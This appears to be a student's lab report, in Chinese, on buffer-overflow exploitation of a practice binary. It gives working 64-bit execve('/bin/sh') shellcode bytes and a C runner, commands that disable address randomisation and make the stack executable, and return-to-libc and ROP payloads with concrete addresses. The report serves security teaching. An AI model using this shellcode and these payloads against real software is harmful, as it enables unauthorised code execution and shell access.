20155213实验一进阶
20155213实验一进阶
任务一:构造Shellcode(64位)
shellcode 是一组指令opcode, 是可以被程序运行,因为shellcode是要直接操作寄存器和函数,所以opcode 必须是十六进制的形式。
Shellcode有几点要求,首先是要调用系统函数获取shell权限,其次是Shellcode里面不能出现\x00
。
编写Shellcode的具体步骤:
- 先编写一个使用
execve()
函数调用的C程序,看一下其内部都是怎么实现的。
#include<stdlib.h>
#include<unistd.h>
char*buf[]={"/bin/sh",NULL};
void main()
{
execve("/bin/sh",buf,0);
exit(0);
}
-
编译查看反汇编,同时定位到main和execve两个函数处,可以发现execve就相当于执行syscall然后调用0x3b调用号,可以查到。0x3b就是execve的调用号
-
到了这一步就可以开始编写.asm文件了,因为64位的参数都是放在寄存器里的,超过六个参数才会压栈,所以,我们需要把"/bin/sh"放到rdx里面去,之后将其地址压入栈顶,随后调用将0x3b调用号赋给rax寄存器,最后调用syscall就行了
-
编译该汇编文件,
nasm -f elf64 Shellcode_64.asm
,ld -o Shellcode_64 Shellcode_64.o
-
查看并抠出Shellcode_64的机器码
-
根据第五步抠出的机器码,测试一下,看看能不能用。写一段C的测试代码:
#include<stdlib.h>
#include<unistd.h>
void main()
{
char ch[]="\x48\x31\xd2"
"\x48\xbb\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68"
"\x48\xc1\xeb\x08"
"\x53"
"\x48\x89\xe7"
"\x48\x31\xc0"
"\x50"
"\x57"
"\x48\x89\xe6"
"\xb0\x3b"
"\x0f\x05";
void (*fp)(void);
fp=(void*)ch;
fp();
}
需要注意的是,编译这个时,要加上一句-z execstack
,即开启堆栈可执行。
任务二:64位Shellcode的注入
- 类似32位的做法:
- 0x01:先关闭地址随机化;
- 0x02:在设置pwn的堆栈可执行;
- 0x03:测试foo函数返回地址在栈中存储的位置;
- 0x04:修改payload;
- 0x05:注入执行;
- 下面来一步一步执行:
- bash里输入
echo "0" > /proc/sys/kernel/randomize_va_space
,将randomize_va_space
设为0,可以通过more /proc/sys/kernel/randomize_va_space
来查看;
- bash里面输入
execstack -s pwn20155213
将pwn20155213可执行文件设置为堆栈可执行,其中可以通过execstack -q pwn20155213
查看是否设置成功;
- 先构造一个
input
16进制文件,之后通过输入(cat input ;cat )|./pwn20155213
将input传入执行中的pwn20155213中,这时打开另一个终端,查找pwn20155213的运行进程,找到后,在gdb调试,里输入attach指令;查找foo返回地址,查看其中内容;
- 由上一步可以看出rsp的下一个地址的内容是被“44444444”所覆盖了,所以当这里改为rsp的下一个地址即可,而其后改为所要注入的Shellcode,payload就完成了。
- 执行注入攻击;
攻击成功,但值得注意,上图显示的没有所有payload字符,这是因为在构造payload时,存在\x00。
- bash里输入
任务三:32位及62位bof攻击(开启堆栈保护且关闭地址随机化)
(1)32位bof攻击
- 步骤:
- 0x01:关闭地址随机化(如任务二)
- 0x02:使用事先编译好的32位程序level,进入gdb调试
- 0x03:由第二步分别获得
/bin/sh
,system
的位置编写进将要注入的payload - 0x04:将写好的payload注入攻击
- 具体实现:
-
bash里输入
echo "0" > /proc/sys/kernel/randomize_va_space
,将randomize_va_space
设为0,可以通过more /proc/sys/kernel/randomize_va_space
来查看;
(PS)同时使用
execstack -c level
恢复level的堆栈保护; -
在bash里输入
gdb ./level
之后,开始调试:-
先将在main处设置断点,然后运行程序
-
输入
print system
查看system
在内存中的位置,如图位置在0xf7e03c60
处 -
输入
print __libc_start_main
查看__libc_start_main
的位置,同时根据__libc_start_main
的位置,找到/bin/sh
的位置
-
输入"1111111222222223333333344444444"并查看溢出位置,基本如任务二;
-
-
由第二步得到的
system
和/bin/sh
的位置,编写payload,perl -e 'print "A"x28;print "\x60\x3c\xe0\xf7\xab\xac\xad\xae\x08\x28\xf4\xf7"'
-
如图操作,注入成功;
-
(2)64位bof攻击
- 步骤:
- 0x01:关闭地址随机化(如任务二)
- 0x02:查找
pop rdi;ret
的位置 - 0x03:使用事先编译好的64位程序pwn20155213,进入gdb调试
- 0x04:由第二步分别获得
pop rdi;ret
,/bin/sh
,system
的位置编写进将要注入的payload - 0x05:将写好的payload注入攻击
- 具体实现:
- bash里输入
echo "0" > /proc/sys/kernel/randomize_va_space
,将randomize_va_space
设为0,可以通过more /proc/sys/kernel/randomize_va_space
来查看;
(PS)同时使用
execstack -c level
恢复level的堆栈保护; - 使用
ROPgadget --binary pwn20155213 --only "pop|ret"|grep rdi
,如果查找不到需要的pop rdi;ret
则将pwn20155213
换成/lib/x86_64-linux-gnu/libc.so.6
,这里我们使用
pwn20155213
的内部地址及0x733
,这是相对地址,并不是最后的运行起来的地址。 - 根据第二步,查看
pwn20155213
反汇编,了解到0x733
这个地址存在于__libc_csu_init
这段代码里,进而在gdb里,查看这段代码,得到pop rdi;ret
的位置为0x0000555555554733
,
之后跟32位同样,先测试出哪里溢出;
再分别查看system
和/bin/sh
的位置(0x7ffff7a60510,0x7ffff7b9b3f3
)
- 根据第三步,编写payload;
- 注入攻击,如图攻击成功;
- bash里输入